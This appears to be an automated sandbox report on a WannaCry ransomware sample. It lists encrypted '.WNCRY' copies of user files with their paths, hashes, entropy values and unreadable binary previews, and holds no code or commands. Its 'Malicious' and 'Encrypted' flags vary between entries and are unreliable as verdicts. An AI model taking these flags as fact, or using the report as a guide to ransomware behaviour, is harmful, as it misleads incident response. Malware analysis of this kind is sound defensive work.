                                                                                                                        Preview:WANACRY!....x..e....lG...g.W....} ,AM'5...S..8hAm.~....i|F.#....ha)...[#'....^."Qa.UN..".i.,$...f.'.U.ea...HFlC {H.C.....8..<.t........d.jn.9w...k..z.)h7|P.h....>.......R.e..X....."5s<.mY..q....y..u%..7.S....6.H.......o\C.r.=...d.g...*N2.E..H....y..>.a...+....=........O.-.z..;.j.........:..G;.t.~.>.;.....<....n.R..... .UU...sH......L+z.5k.7....1..z.>;.+..@.]./.....C......O<b...W.....6OL..e.."...0..A..q.H.A<c........uf..........U:m.ux$...........g..2....k.'+c.8.....%....P....#.....ME..Dx.T}.6R*g.q..j...sC....{..s.$c..^H2[..>IPr.<RO.e9M...1.......]..N...#.c....M..N. .....`.,....1#.@ ....x..T.M..r..i.7D.Q...qL..k....../...D....W...v,.1i..8M.0.'/.....k...6...n...`.0..........ks...c.)`.....t...._.P...2.1...\.q.*{.......l..#..7x...b.....\..]..;.[...{..>q.'...8,.......G..;,L...r=./*%.....q.X.3..Tu!...CB.G.<....?.....$.S.n..oR....<..Z?a.....1....i+I.R..z\.p.e..E#M.#....)He+w.H..DDj...Dm.Yy.....Hd.#..N.9...pSn.8.>%.....(.....L[.(.k.ky_.....

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4664
                                                                                                                        Entropy (8bit):7.957044665305857
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:onjn0Nj2FbRF8tmU02KvG4HWeXy/cPteKgm9Xq2fsst+8tvetpf20c:3YdimUdKv1HWeXOqbHVtvW21
                                                                                                                        MD5:4FF785D17569403198AF0FFF5E673554
                                                                                                                        SHA1:44D65E1D78B3DBFDFFD4BE5890666EAD54BC31CE
                                                                                                                        SHA-256:68248182A5E3E959056CA80A222E3B6EB9432FC40EE5D1151B7679A0072D9591
                                                                                                                        SHA-512:F0C7F4A4A492DBBB73B606AFEBC68CBB0BED4374270F90827776E44BE64CB888A66C6BD983E8290C49B2F392D581E65BD34CE99D11DF4805DC2A0EE3CBF3884F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....-...+&.^.i.S.....^.*.^.%]x...!....0-M0...|...+..nS..^.*]....H'3r...~u6.\...AB....8.h....en...S....+vM Fql.'....Q2b$.....^..kE!........Pe.%....F....(|.7.."3.|.y.*..]..y...\..h.,.8.O%h^:_...gs.....,..L.v..A.o..\.0...5.h.sU....wyJV.8n]jn....v..............UI....)..Z).f....3....I.x&....r.E.f2......!....[j.g...X.....;Q......!z9. M.../s...`..R!...d...i.m..tI..#.N...r.o./.a.....O.Y.vt.P8.j.$../.:./..e...8....wh.8*7.;.....yF...Ne[..Zy../V.[...4.u.tI70\....7'....u.P./..#..PHhK!9../=.P53....8.A'e...o!Jt..e.o^..a...,..f..".....\.P.=`t.`z..(!Vk.X..Yx...*.b..O...K.8h...^o....6..D3V...0[hU$....l~W..+nK...8VO*.c...#..?.....v..v...Jf4.N.L.8m(.1vdH.3E.... .U......{..,.............G-..%$...{....n..B.3....%....^C$..~.sh...9KZ.\.........j....G...$?.0.f4a.y_.8.P@.iXf ..N........~d*...FF..-d.J..1=..Ga..M...S..X}..np9%....n...D..ju....I1...D..KxW^..)M.`R.Vv..W..Y).R.3.....P...9....Z.$).. ..A.mN..P9e.p...;.h......nv...M.wT)L. P..W...(r....5....c..B...

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\1196d63c.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):6360
                                                                                                                        Entropy (8bit):7.967048368178683
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:avDKWUQQAZTSN/xNw6km6I8+GBkEMvu/VR:ap4/bRkm6IPbW/VR
                                                                                                                        MD5:17F36671DAE667A2DAAA751E0401F4F8
                                                                                                                        SHA1:8EBA896A3154EA0526F90D9B89193D5C4DC4CDE6
                                                                                                                        SHA-256:DC65F0F6D612B1D6998199C1CE1DE693D3F7DD82F2AD96CB1AA4A376074A25BD
                                                                                                                        SHA-512:6103120FD2288C361A9DF07C5FDA757B133CEA0E9D7BAAC11F6D947EF04CBEB67F2C9242B572FA6B2921397E60F4ED642D978D528B452451B118306BC10C227F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....h`.7...u..R..J[l..~g...._...`.......Kz....q....8H..E.".".gL./@..IA...g...W..X/cB%..2..S...j.S...S.f%@..4'...}|.y....w..D]8...... n..r..~..~AKo;../#.....C.bl...a.\.g.?.aG8..x..).C/..Ec....n...8.|......F....{....=....a.{..U.^..../T./f..\.l..s...<j.............."o.m...?z..#z....p......Hx....... KO.]...h~..U.)...#%.C:.D0.-^..g..`}..Y.......+l.o].o..x..<u`:5~....oO.B.[d/ ..G.....;.:.;.Rq...4!.h...Z.._.6..CY...E.6...s|....@.*q.c.)..?.t-.j...#$.S.h..lU.c.].........m..P..u....u)O.R/?....F..<T..a+...5K@qoC....[Y..7.. )>.6..H...3..6...H......!q..I..!=..4.4p_s.S.x?...;.Q K.~.v.}..../..*=F....A..-.CE,%......hM....'P....z....n..}Ay:.@H.(...p6.DA..z.kJ.9...`.......6a._..O4.X}.5.5.#...?..9.....%DG..A........L~.*.>.NQ.tAf...L....W.>..~...+....._.......%D.G....4.sMk..p...~.....3..r.(9...10.......i.a#{......_...F.o......57.....o^...*.Q.u..7v.g..v.+..1.~<..Y.......2`......s..:S...`.x....rD...H....k.....x,....K.....J...%l.i.R_..n........).A..L$..

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\2b67b297.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):6760
                                                                                                                        Entropy (8bit):7.968772581062215
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:cBhRSCsGa+3zAvQV+wvaftMLlXkQuEW+IhLgty27:cBaCjDA42tiXh4SyS
                                                                                                                        MD5:63E24333BEA9781B77B6FD09FA993DFF
                                                                                                                        SHA1:C8B403EAD2F4AEB060788E229AA13AA87EA1261B
                                                                                                                        SHA-256:962D114490BADE60C674F25646738C83F41D4E5F240C14872A5A66C4B514D596
                                                                                                                        SHA-512:414D8BA87EE68981E0F3B1094F1F3382B1A5ED01BA3D1FA2A27A4888C0C4E60E7F4C4DCEAA92BCA3A7B7D1162FDD5AD280813FF7622F10E252DC5AF9B7B1A781
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........,...n...!.....iF.ay..$W.4..X...v....&......r..Y+.!El.X..V...P.....7..0._M.S=^.C.[..=}...}s.]...xt..P.....$.....;K.T....<......(Vw.O.......o.r..?...o.lM={.....9...c..._.X.n.K.B.c.$u.....O?4..S"....n'....4..*4.J7..A{8?.TN.@5.O.+m.V....!...$......K..........D....`.eh>...........V........x.[.J.v.^.q....-s......0..b{.q.#.tK'.[..[...|om...h.......5n....y./F....../.....0.Ho....0...0 .[.r..1...B.4Va..*k.."c...t..$.mN...H.u...-\.f.P..1T:.t+...o.R.\.G...z..J....(.(.G..6....m.].....2.......~.a.....u3...&%.FoD5>.S.{..hY....~.0..z^...b.Sekt....+hN....w...R.....q.Z.....J.....x.7.6H....|]$..3.....GSX.g......6.Yg..bI.;......k.Um.:`.O.+Du.`.>.G.c.L.....]........:o.x.....!...".t.sz.....5.1.q..u.......E.-...skI..2.Sz.?..:.a.........XI.wg9.J.z.?.8..mf.....L.n...@.7..qD..{q...V...0.'.`..J....p&..U.)g..n.&e....~...j.P..'Q..H .d.w....*?..].9d..F...kN(5E?..~.=U].4._....C.r.v.|.......F<..k..j...x.-_.3..y.j.o..")..?.......<.Rf#.BJ.?].t/&.0..G

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\4683b0e5.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5880
                                                                                                                        Entropy (8bit):7.966006068786422
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oTXiIaHH4hxI2AXokxQH0qRAAdRfAIQhKOu4ZyYYhsems+w9iwCMPTJPsGeKbn1A:W9W4hxnIoR0EAAd5QhKE8O7Y9iwCkd/a
                                                                                                                        MD5:9FBC2154A52DD843024ED15AF848C883
                                                                                                                        SHA1:757E30B85B0A07BE266C18637F5B26E75377B2D8
                                                                                                                        SHA-256:A22820BACC23478803009CB5163AD77D0730410ABE11C709AF05453BB429FE40
                                                                                                                        SHA-512:F428BC15FD5C9BD1F3E8BFA2F8C42538D95FE32226B6E60299C04151BF9299651F911F8A16D44C27BBED1161CC8BCE242C2BB5AAB7E6ABB2C3C7C8B652228A86
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......T@.`.X.e^..]..<J.!.'..`%...~1j...w9..s6........?.<.q:? ...!....LP......e!.\.......Z...x.....t..J.8.s.H.@....0.;W..Ua.?S..}>. O./x..%...X...D.....}S.....{.6.....B..+.~.S..$...8TC.)s.\^.J..$...".....Tu..6.......j...'..1}......u.xT.AJ.IcbF.._]P'....~............%..q7....rO......{........".m....|....N0-.."....e[....Q.|..G...2.CQ.a!..c....Ji.....Q.-..T....w.d9....%....N..^TQM...+.d..W.W.g.qjBY.M..fr.3".]....?..[R|>..Bz.td#.$..z....a.[><......@.q....sV.....`..M.._.0.7<3..V.7.\.(..._u....Eq..z..I+[D.e>..,..-...KQ...7Jp6.Y[.Y6....|l.F..rC....d...fd.Cc.9.!......[...2.l.....Ux.LIa....F.......ZRu..f.^.E....t...he...l....OWk.{..dl..w.#.rc-M:.*.m........s*.....:..7.R*s.......?..j......#>...$..V..O&....90..l.....H......=...{.......3.7%...j<.;.U.U..`..N.=y...t..gh..@.z.&c0[.yQ...c[=C}}m.7..!.:.k./8...._U..+.."u.p.v.:X.l2.P4h....l...Je....?.#..a.d..!....U.....J]P....@&.,'..s...1...?........4.0'%`S....l/d..Y.5..\........z.;m.D....M'....l....MaTS....V

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\5fc0968a.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5240
                                                                                                                        Entropy (8bit):7.965909687371801
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:ol3OkviALPDrjWzs/HQjdxQqMrYxCGPN1+XHYOZLcGLfJe/96FyXujGhZD:M+FAPNqdxQ7GPwYQ4geIFCsGhZD
                                                                                                                        MD5:53C052345B3C53F857756B027C24C1F8
                                                                                                                        SHA1:C4D48503046608301B8E82A7BD402F26F65E47B4
                                                                                                                        SHA-256:51DEE6168CF4E501B30C8BF5BE94DABC189D864320A2EBC89B02CCB0584DF9F2
                                                                                                                        SHA-512:6965C7C831DDA153372F5338BD9BFCDC53F0FB987ADD3EC40B0E288EE02B48AA9712431A6D492E8D3D5D2E3FAC112656E80644FFB1840BEDA36F2C958115A2A9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......HHF../M..Q~.v:1...@(G.~....4...'P&k.....*."..%I...|q...O......CC.$b....u...%k.\l.4.....&.u.h...P.......D.sjG..8..t.....Y.....S;9.L.....rY<....%..........L...YH.o.dx.mhu.-.d9..........B.D(.2.\#..F.Z..`...p..l.jv.9.@.$..p..6..=P.....h......j.....X.......EU..q...!..{.+"y.nX2..'....{..X. .T...I...P..\K.U...5...Wx.....).E!m. -l....R..I..R...dt...C.0....-...C..K.../.:..h .U>IM.....Q.>.../bE...7N%."..m.cv...,X..y.....++..3X/ZX.'....2..... .o..r.{..Z.Q.4...%...7..._.,7b...|..Q..0..{..8..*..3!5......a.xB......x.qT..3.Fc........*.;tl*.+.,2.|..N.....Y..hjZYP.$=......N>..O....4...l....2...:.ln..gS..3E..B.z..]#.......UF.....1..ql........7..|.....{.KZ..k.\h...}...s.T.<c.%:v}.3.&.}.4^..1.e.Bk.}....l....<]+..!&.;.{.G...0:x..s....!...%i.V......M:TB#...l....Lz=5=C.&..k"...v9I.(.,..,....S_.},..k..c.V;i-]..H.c.K....e)-..!.K.}N$M:...M<.l.{....^#jX1m..G..r......K<.....9.j5.....b.x....:..^W...P...b.A......4.o.c.K....l.U.("Y.})xQ.:jR^.kI_.$.... .

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\70af9816.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):9736
                                                                                                                        Entropy (8bit):7.982817566455414
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:+Fw+aIEzARWS91FPbZFpZ18JDdtk2GqhaLW2UxlliJndlBjyUshgq:5qRpbZFAkRS2IgndlBmUYz
                                                                                                                        MD5:DFC66FD558EE52CFA4068206D13705BC
                                                                                                                        SHA1:BA203389AE599BCB3F6C9075705579791574F652
                                                                                                                        SHA-256:6D8EAD22C7295527AA97D1C4E3ABF0BA759E610064F4DDAAB91953DEB6F8D7CA
                                                                                                                        SHA-512:3B6205AF499025A7E3B577A1372308825A6F3E86859F3826575E25A16A79862D6DDACEC29806CBD6BF70AC189DCE44BE44C00DC353CA0994F9792284AE2B3A20
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....Hk(...m,.tD.O.Qq.r.;..~,....E!........<k.uF.+@:...M./5.Z^.X...;..[}..me.....n....IH..........g[Tp.n.H.eOm......+.3...A/..q?...i%`.<U...l......j....5.G..>..v..e_..f..._.SaiD..__..VB..k....g=.?H.d;.>....#...3.v.mkL.1K.h.u.9~.......q...M.&..yq ....tp).....$.......^#w.7..?'n.,..<o.....4"7.:...{|.qCB..k?..Ai..Z.H...q.E.7;....}Cke.KRU...(..".z...";8[.....9.......YcAgc.u.@..>f9j....Sn...i..aT.......a.?.".Z+.....u...P..^.....Bk5.$n3..'.i3....X.....YU.k...L...{.....d.=...E~2.p...6.ml3.`.2<!Z...j=..`.}..M.!==...J.&....vTq:.tV......&.~OP.J.....4.@.m^n.)8kV$......!<z$.+{!...`...Y:.....d....8#..6fzz.`[1.^.9..RB..6.h...a..D.Yq^..l.V.A.D.)..M'....= ..9.......eF(z.....:1U..E/...e#.mw.x......-C..k.q.0]....<.O.<.t....3....0\.!d....h.O.6.M.s.9.zzl.{..TE.j...gO.E-..z..P....#.+.Z.....*!.....?:......T.^.<m<.r..WmvV.....e.%.......N.A.i..f..;.....k.Q.m..../.H?J..$y"....j.v..d",......%.;....({T..>&[}..z.OC...x.i...!$.F..Pv".C.i......zrw..\.j#...9..0.j.on..`...

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\8fce0f3.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4552
                                                                                                                        Entropy (8bit):7.958988363357127
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oA71smDJrCnblthzTNizxkY5hiA/FhNx6hbVZD4EdmgsI:3sOQttTNixdhZ/FhN0pfEEdm9I
                                                                                                                        MD5:90B92259AF0DA37A621F66603AC89FDA
                                                                                                                        SHA1:52F59BF04F0B7949B11AFC7293ADCAEAB78A712B
                                                                                                                        SHA-256:FD8E0C6191C4F640FCC4DF5D20F998A0CF4B66BFA92487BE08046F4DDE774F29
                                                                                                                        SHA-512:D15CC6FD37890B90619E75662ED35A4F5A7018B5E78310727F5BED1CC2494FDD476A9553B7412417F1D08A2867949EC4B63264A86769AF09250B68E0C918BFAE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......D.:,.....$Wv...~..;....2I.v7.A..$..i.A.......f..a.8......d...}...b....{.9.I..+P.h.+....a..x2.*<Y....C.iS[......L....l.2C....7.(B7..&..tX...5..Btv...1....Y[.G.~..fMq....{.x..$.K.E..)...P.[0..C....Ou.....&._.r.R.z%..m..D(Q.7...Z.... ..'5..|..'>...................Y.t..-|YP.!...]!,...Z..7?..G.....TS.Ue...ey`..H....w.S*8..SS.;6.vP..m..I.....!...S.) ....?(y.ks.7...[%......3..Y.[....f.H..;.6n.X....Or.e.4..L4b......[..........]....JQ.Eds.......c..d.h...*m...jD...;6..E...Aw.C-!...4...&...~@.q..I]..K?@..Q).R..fG..e...z/.rPE...'.A..W...#.....+.y*y*._...z.....r1...o..0MlB.o..:ka.e.a......rp.....XaO..{.4..3.e.C....n......(......uL..<t..@.7..G.}$.....Uq..;s..>..th/..G.28...1.+F[.Ixd..[F..k.!y.:..Z....j........../i.....$.~.z/..4V...vVt.}..9 ...{...m.K.<_`..@.).B.Y...5Xg.%.;..X.5.U..K5u=`.......;Si.'.....&4..+.I....I..1.l.r..xF.?._Q.O.3..Y....>.@V....'J.H|/.{<...5.W.......j.Gp.T......l.c.....|G.........9.l..E...b?0Q.Ke.*!..M.....@.Q..y.C.r..!N..

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.29.4\LICENSE.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):24904
                                                                                                                        Entropy (8bit):7.993406274125519
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:qWubxR67mg+EVPqm7jppD9roP0V+01Mx5JV70km5tFBWPM49brO9s:qWqZgtPqm7zJsPkyfV9StFBWE49brO9s
                                                                                                                        MD5:2A774027FF965FEEAB2B54015EA0388C
                                                                                                                        SHA1:1C00463D470FAAF2A7CABE868C6391E759C2812B
                                                                                                                        SHA-256:14366094878CBB319F961B06DFF8B56C8ACD6C5C653FB1ED875534823420E1EA
                                                                                                                        SHA-512:DAC685AACC7757CBD2AC3DED43C287F7ECBE828F44DB727A5F9C40E599DF45DF5BCAFE71712F9CEAD952D3877730FB418C5071BCFBF5D109D4E25FB1558639DA
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!............,A...,O..b.!..,nP...M.m._v.0n...*.S.iQ.T@.:.(...s.Q?-..E.TJ.. ..l.JW.AQ..wB.....Y..e......W..P)..2..eP..)t.i..G'.J=.)S.....c...S.....(../......%7.J.......w.......-.s..C.%'.p..c.2[-.(.d.&.T;..X=.....5.&.6c..w.s.@....$R..o......5....R.....4.N.Z..../`.......fP....?H...b...Ve.?.. ...G..t.xA....N..."..p..g!.....u.5."...$....%...A....b.3 ...`..1.O.\U.?F.I..<.e.R...l.t.......wR..7M.....X.nb.........{7.\......a...........n@.{..Qm).;..6.....oB.&...V...J]..eJ...}ju=5\@6Z.A$..i...\.#.$.mS.o.e.k-Zk.@..............l..uo..?.h.ZV.r.....s....-.t'...Rm~M.....!.R.F^.=:!.oe1.0.j...K.4M.....(5..}...(.l|..:b.N.....c..&......."...4S...z.P....p.u........dh.<./.=3.~.Jy.......4.]....J...*.....%."B..... .$F.-....P..K..V.......P.m....J....j.,.5.'>...&bX{..C.H. ..uk..La...U...W,.w.....]...G....C...K.\.>0.Y.s...&.+..#..3.*.Xu...9k.-;......1.. .Lx&.h.....U.Nt:..r..1.li...V}..;?7._.o..>yY....G)....CW.u..}....f.d.mk..A.[....s.[.........0........O.E.=,.A.w.(*0.].4

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\31OD4BVP\th[1].jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3976
                                                                                                                        Entropy (8bit):7.951059816940628
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:o/nEKvtJZvE9KIGoBXuyudqrxKL22WGFLknLyMku9:knEKVDvEojSTuih2/Fmx9
                                                                                                                        MD5:4ED201E90F24BC41137688DA3DD27878
                                                                                                                        SHA1:5ADD6234714FDBCB282D0C63FA79905E043906B4
                                                                                                                        SHA-256:521F312B4CC1AFC6980B6D7299C1976ECE9E8E929565D7A604FC881F6C1FE8EF
                                                                                                                        SHA-512:14C899DE8343C8D7687CFFC4090989B4B75557829F92B4C4D5DE9A1AE1F1763A4A76B1BB85A3105D1F72340DA0A99D1F27D2C7666AC36B600577239B77EDB3E9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....f......1"D...n.n..zE..\.$n.6.-).|.......%xi..c.'b.0Kp..Dx.-...:MY./@l#..O..$....H.~......%;..Q...o.....B..K.....J.)nJ...F.!.....G....]K.nf... 8.3..~.7~.W..K.9....K8w.........D............v......Us....B#.H."...YcS..'.}.....g.F....J.HjIP.+Sj...rO.....g.......A....>.]+.P...s.%.3{. ...B....Y=......U..m....V.....ub._1......+.R....~U.......h:.If].....n.V<..F.2T...qm. .~Y.L.i.%....u.........O.\...K..ft.b.s.rqd.H/.?..7..kaK...A\....D..{.eT'...Qd`.WB..EOmW:..........._G>N."G..!....r.....0Y...S.=S...p.S.......&H4.Y9.....s...dS,Z.....n.:...............t...*.Z...D..+,fv.[.......t>...."/=k..d...<....h..........2E.h1..2v.Y..[6...3H.aJ..T..f....MDV.d..q.F:w/>.J....i.n/_DL...0[-70.m.....&.5.{J{..`......nk).....ynLk....A.......%..'.._....|p;,r...NFq....'...+...C.d....T....... |n....c.(.......s...a.5._.Kf.R....#...*e...E..Qu..#....>..i....q'.<.-......e..t...C...+L@.D.$.g(..k,....K.8..3..\...'..8...EL...@.i%c.....Q~-#..%..7.j.._t$.6.{k..

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\6PH02H7Z\th[1].jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2456
                                                                                                                        Entropy (8bit):7.916289495278422
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkD5+XlA5ld0rHKLD5Oshrs3SzE/Q7EpeNKPOagyG0mF1CTdB:oF+XleX02IsTzE/Q7IB1gNfF1CTL
                                                                                                                        MD5:1E46C527D24FBA8B11C466249D00A639
                                                                                                                        SHA1:0AFB78F0D385AFE4F6FB9F5128F4A468AA81275D
                                                                                                                        SHA-256:664DA4FA84D8B02EA007EE3E4DCE3765CC1B398502B35C3530C25E242A0136EF
                                                                                                                        SHA-512:B04F907931293CEF56A04D89CF0A6A7070CC76C5EEA18ABC949E2A0A176854AD494497507CDDDB55373C907134222F95AFA3AA1E74C4A498BFCA8534B1107765
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......x+uY..&z%..^..............y..i.6..Rj.....n_o{...Z.Z.`.5&..Y....s..:...B..T...'2......K....p...@.......BB.!..........s..uv>.{U.....eX....|.}...?C.L3/.l}..wO.JmB..F@...Q.s8.......C. ....4v..:.{%*Co....3o6..?zp.6.RR............A^..C.s.kh..9.......y.......8.e.>C.....2...g..:P....6n..].\.S........#`..l..?..u...A1G'd..<.\Am.5,.$.9.!..iJE|....F.;V3...,.d..".c.0............G...bH=.R.1......g.........d.iE.N}...7.z\.(.<Y'.z{....rD.6.g...FV5.]...Oq...a.G.......k.........l..`..8=. ...P0...b..mv..2....&GZ8...Z..^.d.4X.JB...P..k:...[0.xx...i^|.$d..%.i.mx....&Bf...HB}.N..7...w.^*..i.w.?{.s.$..&....#....!.!.S...T..O.....I.S.....\..os:+K0d.w.8.8..7...p..F........c...:...y.#.:".:.<i.."..}Bj.Q1.....U.J.....1...oz.`u.....W>.|...[...3t.9.`.dz.3.C.F..z.gJ.....y.....8F..e.l....-Bc.HN.N... ..-..d..g..)......Q......../...(.....M...!..O..x..w.t.#L.e`.....vB@`:*#.B..!.t......{..].hOo.....Y[.5.x'..=.-...$...8....rQ..6...".c...O.s......

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\6PH02H7Z\th[2].jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3240
                                                                                                                        Entropy (8bit):7.939209200846343
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:omNVR8Yy6gfKMCr3HqXsgkAhIAPEEVH4/CIonwE7UmX:nN/Jy7ifxgDMU4/CIUTUC
                                                                                                                        MD5:E21A6719241B865E70C7D1D001A24E6D
                                                                                                                        SHA1:10ED9E4F7F28574EDAA02BD7B6A7783B87D0C0E2
                                                                                                                        SHA-256:36EBBEBB8F1959945C8DBD52A7E4D12CAC63213972918BBFA5A7D5F4730AF20C
                                                                                                                        SHA-512:B07A278B263E869562F8A852E6836715F2F201944B0C0D9024D57B129488C7BBDE1CF030143FD0F01CAA5EE8E3DB000E44E3BD2A730125BC1B43D8FD8724D8EC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......KU..}}....!.p{..{.c......y. .[.....J...9z....0........Z.[(...THT....e............. WW.....G\.9T...-f..K...H.;..n...x....cG.....2...J.V....Z..7.......q....8H...vH..tT..0u2..3......d.!.]...B...E......D.n.:.G...S.W.q.>F.?..^.K.u*..J...g....).W............\x.cA..E.$)......m2R...q.JGR.....d..KO..0..H(...X.......p.]@.|.i..+..........Q.....M........c.9./...W&).3...Y.,..J......."R......... ...X.G`s3.W...m..W.....'|..R.|......(.z.v@...d.;.P|."........o..v.3.$.DQ .E.R .-.....!.7=...+..e...T._...&v.T...o}G.%3d..sE:..0.......Z-..(..Q..*..$.z..9...<.?.t.=3...G.L..,.9MC.c......W....{..l.v.X%....{.ws.!..b..&..G...............p.Q,...`....h@."ZE.A<.@...xp"....1?....!.5..z.2.../.2s.m.<...y...n..u...%`f.C.y^..uU.OA.G8y.3....,n.Z#%.7.....a...8......a.!S.j....E....vX..S[.J$.b:.U..TL.........'.3.k...+..k.b^.........o.D.9.T.......%.z=...r..8.t.].Y.I...(....B...G..9..#~4.8c.....=.Xx......r..qE...E ...5z..3...4..?..P............jP..Vk.......2b.

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\DZC4C4P0\th[1].jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3704
                                                                                                                        Entropy (8bit):7.952350350399352
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:os+PQlLj7v0ic3wfOvc8+VfYP4HhRvL9kpL/YPffRSOk:HcQlLcwfOGQ8xHRSOk
                                                                                                                        MD5:FE1B04FE5DD061247C4FA1032398B454
                                                                                                                        SHA1:067ACDD518373918C9AE3E6C64FB1B7320E53211
                                                                                                                        SHA-256:C5D108B478B046F1D40ABFBDE7D43C358E29C63968F5D17368B625739789BCC9
                                                                                                                        SHA-512:5C5199199A4B90D10496E97FDAA41C37856DB174A74A57A6F5885E60002D43BAC23AA36A28CE6397122D32DA56B360F29732E6F4B0E7861AE5978C5029787A7D
                                                                                                                        Malicious:false
